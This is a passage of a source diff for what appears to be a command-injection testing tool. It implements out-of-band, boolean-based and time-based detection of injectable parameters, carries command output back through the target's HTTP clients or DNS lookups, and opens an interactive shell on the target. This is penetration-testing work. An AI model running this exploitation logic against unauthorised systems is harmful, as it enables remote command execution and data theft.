+ _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + if menu.options.os_cmd: + # Run the command given with '--os-cmd', once, whichever technique got there first. + def _run_os_cmd(): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + enumeration.single_os_cmd_exec(separator, "", TAG, menu.options.os_cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, "", interpreter, filename, 0, technique) + _register_post_detection_action(_run_os_cmd) + oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport) + return True + + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + checks.check_for_stored_tamper(payload) + settings.OOB_STATE = True + settings.OOB_EVAL = payloads.is_eval(payload) + return _exploit(separator, prefix, suffix, settings.WHITESPACES[0], vuln_parameter, payloads.transport_of(payload), TAG) + except TypeError: + checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass + + _announce_technique(injection_type, technique) + + # A command sink first, then an evaluation sink - the channel proves either one. + if menu.options.eval_sink: + sinks = [(True, settings.INJECTION_TYPE.BLIND_CE, payloads.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS)] + else: + sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, checks.chainable_separators(settings.SEPARATORS))] + + for is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators in sinks: + settings.OOB_EVAL = is_eval + found = _oob_sweep(is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators, + url, timesec, filename, http_request_method, technique, channel, payloads, _exploit) + if found: + return found + settings.OOB_EVAL = False + # Every sink is exhausted, so close the progress line the way the other techniques do. + checks.injection_process(injection_type, technique, done=True) + return False + +# Try each boundary against the channel until one of them calls back. +def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, timesec, filename, http_request_method, technique, channel, payloads, _exploit): + + checks.prime_whitespace_tampers() + whitespaces = settings.WHITESPACES + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + + transports = payloads.transports() + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing for out-of-band interactions on a unique hostname per payload." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators())) + total = len(combinations) * len(transports) + i = 0 + + # Boundary-major, so that the first boundary that works reveals its transport at the same time, + # instead of paying a whole sweep to learn that the target has no curl. + fired = [] + winner = None + for whitespace, prefix, suffix, separator in combinations: + # A confirmed point that nothing can be run through is kept, but the sweep goes on looking for + # one that can be - another boundary may well chain. + if winner is not None and _oob_usable(winner, payloads): + break + for transport in transports: + # The background poller may already have brought an earlier probe's interaction in, in which + # case the rest of the sweep is wasted requests. Checking costs nothing and never waits. Only + # an answer nothing can improve on stops the boundary, though - a name lookup that worked + # still leaves the HTTP clients worth a try, since they carry output back in one request. + if winner is not None and _oob_rank(winner, payloads) == OOB_RANK_BEST: + break + # Where the shell chains nothing, a client of ours never runs. A name lookup can still betray + # the point through the target's own command, but an HTTP client would only sit there waiting. + if not checks.separator_chains(separator) and payloads.required_protocol(transport) != "dns": + continue + bare_prefix = prefix + bare_suffix = suffix + probe_whitespace = whitespace + probe_prefix = prefix + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + i = i + 1 + if probe_prefix + separator in settings.JUNK_COMBINATION: + probe_prefix = "" + token, hostname = channel.new_payload() + expression, expected, prologue = payloads.proof(transport) + if is_eval: + payload = payloads.decision_eval(separator, transport, hostname, expression, prologue) + else: + payload = payloads.decision(separator, transport, hostname, expression, prologue) + try: + response, vuln_parameter, payload, probe_prefix, probe_suffix = oob_inject(probe_prefix, suffix, probe_whitespace, payload, "", http_request_method, url) + except KeyboardInterrupt: + checks.handle_detection_interrupt(filename, url) + except SystemExit: + raise + except Exception: + continue + fired.append((token, separator, probe_prefix, probe_suffix, probe_whitespace, bare_prefix, bare_suffix, vuln_parameter, payload, expected, transport)) + checks.injection_process(injection_type, technique, done=False, i=i, total=total) + # The earliest combinations are the likeliest, so keep asking the server over the first few + # rather than sitting out the poll interval and firing the rest of the sweep for nothing. An + # interaction needs a moment to land, so one immediate poll would always be too early. + if len(fired) <= settings.OOB_EAGER_POLLS: + channel.poll_now() + winner = _oob_winner(fired, channel, payloads) + + if not fired: + return False + + # Every probe is already in flight, so one wait covers the whole sweep. A client that cannot carry + # output is settled for only once the wait is over, in case one that can is a moment behind it - + # unless no probe that could do better was fired at all, in which case there is nothing to wait for. + best_reachable = OOB_RANK_BEST + if not any(payloads.required_protocol(probe[10]) == "http" for probe in fired): + best_reachable = OOB_RANK_LOOKUP + deadline = time.time() + settings.OOB_TIMEOUT + while time.time() < deadline: + candidate = _oob_winner(fired, channel, payloads) + if candidate is not None and (winner is None or _oob_rank(candidate, payloads) >= _oob_rank(winner, payloads)): + winner = candidate + if winner is not None and _oob_rank(winner, payloads) >= best_reachable: + break + # Asked for every round: the idle interval would hold the answer back for seconds after it lands. + channel.poll_now() + time.sleep(settings.OOB_WAIT_POLL_INTERVAL) + + if winner is None: + return False + + token, separator, prefix, suffix, whitespace, bare_prefix, bare_suffix, vuln_parameter, payload, expected, transport = winner + # The boundary is settled, so the clients the sweep left out are worth one request each here - + # a single try on a boundary that works, rather than one on every boundary that might not. + if payloads.required_protocol(transport) == "dns": + upgrade = _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads) + if upgrade is not None: + transport, payload = upgrade + # Named now, so the finding is announced with the channel it came back over. + settings.OOB_TRANSPORT = transport + # Only where they were tried: a forced transport means nothing was learnt about the others. + tried = [] if menu.options.oob_transport else payloads.tried_http_clients() + # The finding itself already names the channel, so which clients led to it is a debug detail. + if settings.VERBOSITY_LEVEL != 0: + if payloads.required_protocol(transport) == "dns": + if tried: + debug_msg = "None of the HTTP(S) clients tried (" + debug_msg += ", ".join("'" + candidate + "'" for candidate in tried) + debug_msg += ") reached the out-of-band server, so the output comes back a label at a time." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + debug_msg = "The '" + transport + "' client on the target reached the out-of-band server, " + debug_msg += "so the output of a command comes back whole." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + + # Re-confirm with a fresh token, against a stray interaction. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Re-confirming the injection point on a fresh hostname." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS): + verify_token, verify_hostname = channel.new_payload() + verify_expression, verify_expected, verify_prologue = payloads.proof(transport) + if is_eval: + verify_payload = payloads.decision_eval(separator, transport, verify_hostname, verify_expression, verify_prologue) + else: + verify_payload = payloads.decision(separator, transport, verify_hostname, verify_expression, verify_prologue) + oob_inject(prefix, suffix, whitespace, verify_payload, vuln_parameter, http_request_method, url) + if not checks.oob_proof_holds(channel.wait_for(verify_token, settings.OOB_TIMEOUT, + protocol=payloads.required_protocol(transport)), + verify_expected): + checks.unexploitable_point() + return False + + checks.injection_process(injection_type, technique, done=True) + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG) + +""" +Try each boundary until one of them makes the page answer yes to a question it should, and no to one +it should not. + +Two questions with known answers rather than one: a page that says yes to everything says nothing, +and a boundary that never reached a shell at all would otherwise be read as a finding. +""" +def do_boolean_based_process(url, timesec, filename, http_request_method, injection_type, technique): + + payloads = checks.boolean_based_payloads() + settings.BOOLEAN_PRINTED_STATE = False + from src.core.techniques.boolean_based import bb_injector as injector + + # Registered once the boundary is settled, so the routes that run commands reach this technique. + def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG): + cmd = maxlen = OUTPUT_TEXTFILE = "" + interpreter = menu.options.interpreter + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + if menu.options.os_cmd: + def _run_os_cmd(): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, menu.options.os_cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique) + _register_post_detection_action(_run_os_cmd) + boolean_based_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique) + return True + + if menu.options.eval_sink: + prefixes, suffixes, separators = checks.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS + else: + prefixes, suffixes, separators = checks.sink_boundaries() + separators = checks.chainable_separators(separators) + checks.prime_whitespace_tampers() + whitespaces = settings.WHITESPACES + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + + # One boundary, asked both ways round and then once more - which way the page answers is all this + # technique reads, so a boundary that cannot answer both ways has not been shown to run anything. + def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): + payload = payloads.decision(separator, TAG, len(TAG), holds=True) + if not payload: + return None + vuln_parameter = "" + page_true, code_true, vuln_parameter, prefix, suffix, reported_payload = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_false, code_false, vuln_parameter, prefix, suffix, _ = injector.page_of(payloads.decision(separator, TAG, len(TAG), holds=False), prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + if not checks.boolean_oracle_given(): + # A false answer that reads exactly like the page the parameter's own value returns means the + # payload changed nothing at all, whatever the two probes look like beside each other. + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(checks.comparison_baseline(url, http_request_method)): + return None + """ + And a true answer that does not read like that page is the payload breaking the sink, not + answering through it. Where it does not parse, the interpreter prints its complaint instead, + and the false question draws another carrying different digits of this run's own - read as two + answers, that one error confirms a boundary nothing ever ran through. + + Asked only of a payload that went in behind the parameter's own value. Standing in place of + it, the value is not there to be rendered and the page is not meant to read like the one it + returns: a sink replacing the whole of what it was given answered the true question with the + empty string the payload evaluates to, which is a page of its own rather than that one - and + the technique was refused on every boundary, including the ones that worked, while naming the + string by hand found it at once. What a broken payload leaves is still caught below, where + two answers that are one interpreter complaint carrying different digits are read as the one + error they are. + """ + if not settings.BOOLEAN_PRINTED_STATE and not settings.REPLACE_VALUE and \ + checks.comparable_page(page_true or "") != checks.comparable_page(checks.comparison_baseline(url, http_request_method)): + return None + """ + What the page moves on its own, measured again where the run can actually see it. + + It is looked for once when the target is first reached, from two samples of a request that + carries none of this - no cookie, no body, nothing in the parameter. A target that only runs + the command once it has one answers those two identically, nothing is recorded, and the + comparison everything below is read through goes on masking nothing at all. The same question + asked twice here is two answers that are meant to match, so whatever differs between them is + the page's own movement - learned before two answers that are meant to differ are weighed + against each other, rather than after a boundary has been confirmed on the strength of it. + + Held back until the two answers in hand actually differ. A pair that comes back identical has + nothing to teach and nothing to get wrong, since the oracle reads it as no answer either way - + but spending the one sample on it leaves the movement unmeasured for the pair that does differ, + which is the only pair that can be taken for an answer it is not. On a target that runs the + command only once the payload reaches it, the early pairs are the ones where it never ran, and + what moves there - a timing the command prints, a counter - is on neither page to be found. + """ + if not settings.DYNAMIC_MARKINGS and not settings.DYNAMIC_MARKINGS_RESAMPLED and \ + checks.comparable_page(page_true or "") != checks.comparable_page(page_false or ""): + settings.DYNAMIC_MARKINGS_RESAMPLED = True + page_true_again = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)[0] + if page_true and page_true_again: + checks.find_dynamic_content(page_true, page_true_again) + # These two pages are what says which answer is which, so the target teaches the oracle first. + if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): + return None + # Asked both ways round, because a page that says yes to anything is not answering the question. + if checks.boolean_oracle(page_true, code_true) is not True: + return None + if checks.boolean_oracle(page_false, code_false) is not False: + return None + # A true answer that comes back blocked while the false one is served is the protection talking, + # not the target - a real finding reproduces the page the parameter already returns. + if str(code_true) in settings.WAF_BLOCK_HTTP_CODES and str(code_false).isdigit() and int(code_false) < 400: + warn_msg = "The true and false answers differ only by a blocked HTTP " + str(code_true) + warn_msg += " against " + str(code_false) + ", which reads as a protection rather than an injection." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + # A boundary that answered both ways round is a candidate, and asking it once more is this + # technique's own false-positive test - left unannounced, since the parameter as a whole gets + # one such announcement of its own once every technique has had its turn. + # Asked once more, because a page that moves on its own can answer either way by itself. + again, _ = injector.answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + if again is not True: + checks.unexploitable_point() + return None + return reported_payload, vuln_parameter, prefix, suffix + + """ + A stored finding says where the injection is, but not what this target's pages look like - and + which way a page answers is the whole of the oracle here, calibrated against the target rather + than carried in the session. So the stored boundary is asked again, which costs a handful of + requests instead of the sweep, and teaches the oracle on the way. + """ + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + checks.check_for_stored_tamper(payload) + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + for printed in ((False,) if menu.options.eval_sink else (False, True)): + settings.BOOLEAN_PRINTED_STATE = printed + for whitespace, stored_prefix, stored_suffix, stored_separator in _boundary_combinations(whitespaces, [prefix], [suffix], [separator], grammar_separators=checks.grammar_separators()): + confirmed = _answers_both_ways(whitespace, stored_prefix, stored_suffix, stored_separator, TAG) + if confirmed: + _, vuln_parameter, sent_prefix, sent_suffix = confirmed + checks.confirm_boundary(stored_prefix, stored_suffix, stored_separator, whitespace) + return _exploit(stored_separator, sent_prefix, sent_suffix, whitespace, vuln_parameter, TAG) + # The stored boundary no longer answers, so this is a target that has moved rather than a + # session to replay - it is tested again from the start, and announced as any first run is. + settings.BOOLEAN_PRINTED_STATE = False + settings.STORED_TECHNIQUES.pop(technique, None) + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + except TypeError: + checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass + + _announce_technique(injection_type, technique) + + """ + The two ways a page can be made to carry the answer, the cheaper one first. + + A target that branches on the exit status its command left behind answers with the page it renders, + and the payload need print nothing at all. One that prints what the command said whatever it said + branches nowhere, and the same questions read alike - so the test is made to print a marker of its + own, and the page carries that or it does not. The second shape is only reached where the first was + shown to say nothing, because a target that branches is answered without adding to its output. + """ + # An evaluation sink halts the target's own code, which shortens the page it renders whether or + # not the target branches - so there is nothing the second shape would reach that the first cannot. + shapes = (False,) if menu.options.eval_sink else (False, True) + """ + Counted off the way the other techniques count theirs. + + A dot per boundary asked, across both shapes rather than restarting on the second. Reporting only + the boundary that answered left the line holding whatever two or three dots something else had + printed, so a sweep of a hundred questions read exactly like one that asked three - and on a + parameter that answers none of them, that is the whole of what the line ever said. + """ + boundaries = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators())) + total = len(boundaries) * len(shapes) + i = 0 + for printed in shapes: + settings.BOOLEAN_PRINTED_STATE = printed + for whitespace, prefix, suffix, separator in boundaries: + i += 1 + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + bare_prefix, bare_suffix = prefix, suffix + confirmed = _answers_both_ways(whitespace, prefix, suffix, separator, TAG) + if not confirmed: + checks.injection_process(injection_type, technique, done=bool(i >= total), i=i, total=total) + continue + payload, vuln_parameter, prefix, suffix = confirmed + checks.injection_process(injection_type, technique, done=True) + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG) + + settings.BOOLEAN_PRINTED_STATE = False + checks.injection_process(injection_type, technique, done=True) + return False + +""" +An interactive shell over the content oracle, one command at a time. +""" +def boolean_based_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique): + from src.core.techniques.boolean_based import bb_injector as injector + + # Run one command through the oracle, reusing a stored answer where there is one. + def execute_cmd(cmd): + stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if not menu.options.ignore_session and checks.usable_stored_cmd(stored): + return stored + shell = injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + logs.executed_command(filename, cmd, shell) + if shell and not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + return shell + + # Reached without going through pseudo_terminal_shell(), so '--proof' is told about it here too. + proof.register(technique, vuln_parameter, http_request_method, execute_cmd) + return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator) + +""" +Send an out-of-band payload without waiting around for a response it never reads. Clients on the +target can block for a long time - 'certutil' for well over a minute - and a sweep that waited for +each of them would take hours to learn nothing. +""" +def oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + saved_timeout, saved_keep_alive = settings.TIMEOUT, settings.KEEP_ALIVE + settings.TIMEOUT = min(saved_timeout, settings.OOB_PROBE_TIMEOUT) + # A pooled connection keeps the timeout it was opened with, so the shorter one would not apply + # to any probe that reuses it. + settings.KEEP_ALIVE = False + try: + return requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + finally: + settings.TIMEOUT, settings.KEEP_ALIVE = saved_timeout, saved_keep_alive + +""" +The first fired probe whose interaction has arrived and carries the result it was asked for. +""" +def _oob_winner(fired, channel, payloads): + # The most useful of the confirmed ones, not the first: see _oob_rank() below. + winner = None + for candidate in fired: + interactions = channel.seen(candidate[0], protocol=payloads.required_protocol(candidate[10])) + if not checks.oob_proof_holds(interactions, candidate[9]): + continue + if winner is None or _oob_rank(candidate, payloads) > _oob_rank(winner, payloads): + winner = candidate + if _oob_rank(winner, payloads) == OOB_RANK_BEST: + break + return winner + +""" +Ask the clients the sweep left out whether they can reach us through the boundary the name lookup +has just confirmed. The point is already found, so this is only a chance at pulling output back +whole instead of a label at a time - one request each, and a short wait for all of them together. +""" +def _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads): + if menu.options.oob_transport or not settings.OOB_HEURISTIC_HTTP_SILENT: + return None + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking which HTTP client can carry back the command output." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + fired = [] + for candidate in payloads.upgrade_candidates(): + token, hostname = channel.new_payload() + expression, expected, prologue = payloads.proof(candidate) + if is_eval: + payload = payloads.decision_eval(separator, candidate, hostname, expression, prologue) + else: + payload = payloads.decision(separator, candidate, hostname, expression, prologue) + try: + # The payload that went out is the one the tamper scripts shaped, and that is the one a + # finding has to be reported and stored with. + _, _, payload, _, _ = oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_detection_interrupt(filename, url) + except SystemExit: + raise + except Exception: + continue + fired.append((token, expected, candidate, payload)) + if not fired: + return None + # The heuristic already suggests nothing gets out over HTTP, so this waits out the grace period + # rather than the full timeout - the lookup is there to fall back on either way. + deadline = time.time() + settings.OOB_HTTP_GRACE + while True: + for token, expected, candidate, payload in fired: + if checks.oob_proof_holds(channel.seen(token, protocol="http"), expected): + return candidate, payload + if time.time() >= deadline: + return None + channel.poll_now() + time.sleep(settings.OOB_WAIT_POLL_INTERVAL) + +""" +Nothing beats a confirmed probe whose client can be asked for a command's output in one request. +""" +OOB_RANK_BEST = 3 + +""" +A confirmed probe whose client can only carry output back a label at a time. +""" +OOB_RANK_LOOKUP = 2 + +""" +How much use a confirmed probe is. An HTTP client carries a command's output back whole, a name +lookup carries it a label at a time, and a boundary nothing can be run through is only worth +reporting - so both kinds of client are tried before settling for the slower one. +""" +def _oob_rank(candidate, payloads): + if not _oob_usable(candidate, payloads): + return 1 + return OOB_RANK_BEST if payloads.required_protocol(candidate[10]) == "http" else OOB_RANK_LOOKUP + +""" +Report whether a confirmed probe is one a command can be run through: the separator has to chain a +command of our own, and the client has to be able to carry its output back. +""" +def _oob_usable(candidate, payloads): + return checks.separator_chains(candidate[1]) and payloads.supports_exfiltration(candidate[10]) + +""" +Open the pseudo-terminal on top of the out-of-band channel. +""" +def oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport): + from src.core.techniques.oob import oob_injector as injector + + # Run one command over the out-of-band channel, reusing a stored answer where there is one. + def execute_cmd(cmd): + stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if not menu.options.ignore_session and checks.usable_stored_cmd(stored): + return stored + shell = injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, transport) + logs.executed_command(filename, cmd, shell) + if shell and not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + return shell + + # Reached without going through pseudo_terminal_shell(), so '--proof' is told about it here too. + proof.register(technique, vuln_parameter, http_request_method, execute_cmd) + return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator) + +""" +Whether threaded time-related retrieval is safe on this target, and whether the run wants it anyway - +settled once, the first time anything is actually going to be timed. Asking any earlier would put the +question to a run that ends up never measuring a delay at all. +""" +def _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored): + if not (settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored): + return + if not checks.target_serves_concurrently(url, http_request_method, settings.THREADS): + warn_msg = "The target answers one request at a time. Continuing with a single thread." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.THREADED_TIME_RETRIEVAL_CHOICE = False + else: + # Answered yes, the retrieval still measures whether the answers can be told apart under that + # concurrency - which needs a payload, and so cannot be settled here. + # Declined unless asked for: reading a delay is reading one request against the others, and + # requests that overlap are what the reading is least able to survive. + msg = "Multi-threading is considered unsafe for time-related data retrieval. " + msg += "Do you want to continue using threads anyway? [y/N] " + settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES + +""" +The main Time-related exploitation process. +""" +def do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + + resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES + # Deferred for TEMP_FILE_BASED, to the same point 'timesec' itself is - asked only once the oracle + # this technique tries first has failed to confirm the boundary, and threading is about to mean + # something for real. + if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored) + + counter = 1 + no_result = True + possibly_vulnerable = False + false_positive_warning = False + exec_time = 0 + # Deferred for TEMP_FILE_BASED - adjusting it here would announce a delay this technique tries + # first to avoid needing at all. Computed once the oracle attempt below has actually failed. + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + timesec = checks.time_related_timesec() + + if settings.TIME_RELATED_ATTACK is False: + settings.TIME_RELATED_ATTACK = None + + # Check if defined "--url-reload" option. + if menu.options.url_reload is True: + checks.reload_url_msg(technique) + + # Check if defined "--maxlen" option. + if menu.options.maxlen: + settings.MAXLEN = maxlen = menu.options.maxlen + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.techniques.time_based import tb_injector as injector + payloads = checks.time_based_payloads() + else: + from src.core.techniques.tempfile_based import tfb_injector as injector + payloads = checks.tempfile_based_payloads() + + if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: + _announce_technique(injection_type, technique) + + prefixes, suffixes, separators = checks.sink_boundaries() + separators = checks.chainable_separators(separators) + checks.prime_whitespace_tampers() + whitespaces = settings.WHITESPACES + + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators())) + i = 0 + total = len(combinations) + for whitespace, prefix, suffix, separator in combinations: + bare_prefix = prefix + bare_suffix = suffix + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available for this specific technique. + resumed = False + # Whether this boundary was confirmed through the oracle instead of a delay - carried past the + # retry loop below to the one check that decides whether the point counts as found. + oracle_confirmed = False + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + # Re-apply the minimum safe delay to the stored session. + if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + timesec = max(timesec, settings.MIN_SAFE_TIMESEC) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + settings.TIME_BASED_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + settings.TEMPFILE_BASED_STATE = True + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) + cmd = shell = output = "" + checks.check_for_stored_tamper(payload) + + # Trust the stored session outright. + possibly_vulnerable = True + resumed = True + except TypeError: + checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass + + if not resumed: + # Counted from the one that was set aside for it: counting from a value of its own, the first + # combination was announced as the second, and the last closed the sweep one short of its end. + i = i + 1 + # Retry the same separator once with a fresh TAG before moving to the next one. + for _false_positive_retry in range(settings.FALSE_POSITIVE_RETRIES): + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + # Change TAG on every request to prevent false-positive resutls. + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + # Whether anything in this pass answered late, which is what a further pass could re-judge. + answered_late = False + # The output file for file-based injection technique. + interpreter = menu.options.interpreter + tag_length = len(TAG) + 4 + # A length no answer can have, which is what the control below asks about. + control_length = int(tag_length) + 100 + OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + # Tried first, on the first pass only - a boundary the oracle confirms needs no delay to + # prove, and one it cannot confirm is no cheaper to ask about twice. + if _false_positive_retry == 0: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + # Unresolved on the way in, exactly as the delay-based confirmation below leaves it - + # discovered by whichever of the two ends up sending the first request. + oracle_payload, vuln_parameter = oracle_handler.try_oracle_confirm(separator, prefix, suffix, whitespace, http_request_method, url, "", OUTPUT_TEXTFILE, TAG) + if oracle_payload: + payload = oracle_payload + output_length = len(TAG) + # Nothing here was measured, so there is no false-positive command or its output to + # carry forward either - left the way a resumed finding leaves them. + cmd = shell = output = "" + exec_time = original_exec_time = timesec + oracle_confirmed = possibly_vulnerable = True + # Closes the "Continuing with..." spinner the same way a delay-based confirmation + # closes its own - nothing here was timed, but the line it left open still needs it. + checks.injection_process(injection_type, technique, done=True) + break + # Reached only once the oracle above has not confirmed the boundary - deferred rather + # than adjusted at the top of the function, so the notice is not announced for a delay + # this technique may end up never needing. + _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored) + timesec = checks.time_related_timesec() + # What these payloads cost is part of the answer's time: one that writes a file and reads it + # back through two interpreters takes about a second before any delay is asked for, while the + # model it is judged against was built from plain requests. Sampled once with a length that + # cannot hold, so an answer that was 